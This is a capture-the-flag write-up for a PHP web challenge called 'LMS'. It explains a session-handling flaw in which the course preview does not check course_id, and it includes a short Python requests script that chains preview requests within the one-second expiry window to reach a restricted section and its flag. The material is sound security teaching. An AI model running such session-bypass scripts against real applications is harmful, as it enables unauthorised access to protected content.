LMS

Web 500

Description

"Who's the fastest man on Earth? = Whoooooooosh (sound effect)"

This hinted that speed was a key factor in solving the challenge—likely requiring rapid execution of multiple requests before something expired.

Understanding the Vulnerability

By analyzing the provided PHP code, I noticed that in order to retrieve the flag, the following conditions had to be met:

PHP Code PHP
if (isset($course['flag']) && isset($state['progress'][1]) && in_array('intro', $state['progress'][1]) && isset($state['progress'][2]) && in_array('intro', $state['progress'][2]) && $section === 'advanced') { 
    echo "Flag: {$course['flag']}\n"; 
}

This meant I needed to:

  1. View Course 1's Introduction section
  2. View Course 2's Introduction section
  3. Access Course 2's Advanced section (which contains the flag)

Looking at how the session system worked:

PHP Session Code PHP
$_SESSION['preview_state'] = [
    'course_id' => $courseId,
    'section' => $section,
    'started' => time(),
    'expires' => time() + ($course['preview_length'] > 0 ? $course['preview_length'] : 0),
];

Each time I previewed a course, a session was created. However, the session expiration depended on the course's preview_length. Course 1 had 1 second, while Course 2 expired immediately.

Exploiting the Session Handling

The key discovery was that the session did not check course_id properly, meaning I could manipulate the requests programmatically to meet all conditions within a single second before the session expired.

Since doing this manually was too slow, I automated it using Python with the requests library.

exploit.py Python
import requests
from urllib.parse import urljoin

s = requests.Session()
url = "http://a8ea158080e3495fa4bd7.playat.flagyard.com/"

print("Starting preview for course 1...")
s.get(
    urljoin(url, "index.php"),
    params={
        "action": "start_preview",
        "course_id": "1",
        "section": "intro"
    }
)

print("View Course 1 Intro")
resp1 = s.get(
    urljoin(url, "preview.php"),
    params={"course_id": "1", "section": "intro"}
)

if resp1.status_code != 200:
    print(f"WARNING: Got status code {resp1.status_code} for course 1 intro")

print("View Course 2 Intro")
resp2 = s.get(
    urljoin(url, "preview.php"),
    params={"course_id": "2", "section": "intro"}
)

print("Access Advanced")
flag_resp = s.get(
    urljoin(url, "preview.php"),
    params={"course_id": "2", "section": "advanced"}
)

content = flag_resp.text
print(content)

Explanation of the Exploit

The exploit works through the following steps:

  1. Start the preview for Course 1 (activates session)
  2. View Course 1's Intro
  3. View Course 2's Intro (bypassing restrictions by leveraging session behavior)
  4. Access Course 2's Advanced section, where the flag is located

Since all three requests were sent in quick succession using the script, the session was still valid when accessing the Advanced section, successfully retrieving the flag.

Flag

FlagY{************}